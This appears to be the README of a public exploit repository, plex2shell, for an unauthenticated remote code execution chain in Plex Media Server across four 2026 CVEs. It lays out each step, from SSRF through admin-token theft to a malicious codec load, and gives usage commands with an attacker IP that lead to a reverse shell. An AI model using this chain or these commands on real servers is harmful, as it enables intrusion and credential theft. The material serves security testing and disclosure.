← Code

Repository

plex2shell

CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656

plex2shell

Unauth RCE chain for Plex Media Server 1.43.3.10828 and older.

CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Write-up: https://zmain.info/blog/plex2shell

Disclaimer

This tool is published for authorized security testing, academic research, and defensive purposes only. Use it only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or damage caused by this tool. Unauthorized access to computer systems is illegal.

CVEs

CVEPrimitive
CVE-2026-96652Unauthenticated SSRF via /player/timeline protocol=
CVE-2026-96654Loopback pivot: dead auth guard + searchOne identifier= injection
CVE-2026-96655Owner-authed transcoder SSRF + arbitrary-path file write (dump-yuv)
CVE-2026-96656Code execution via unsigned codec dlopen in the Codecs set-dir

Chain

[bare internet, junk token]
      |
   (1) /player/timeline  --- SSRF ---> loopback origin
      |
   (2) /system/agents/.../searchOne  --- identifier= injection --->
      |                                  cross-plugin RPC
      |
   (3) networking.py:149  --- 127.0.0.1.* prefix confusion --->
      |                       owner admin token exfil
      v
   attacker holds the OWNER admin token
      |
   (4) /video/:/transcode/universal?path=<url>  --- transcoder SSRF --->
      |                                             fetch attacker media
      |
   (5) TranscoderH264Options=dump-yuv  --- x264 writes attacker ELF
      |                                    into Codecs set-dir
      v
   second transcode  ->  dlopen()s every *.so  ->  constructor runs
      v
   [uid=1000(plex)]

Prerequisites

  • Python 3.8+, ffmpeg, gcc (or x86_64-w64-mingw32-gcc for Windows targets)
  • Attacker host reachable from the target (media fetch + reverse shell)

Usage

# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9

# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"

--help for everything else.

License

GPLv3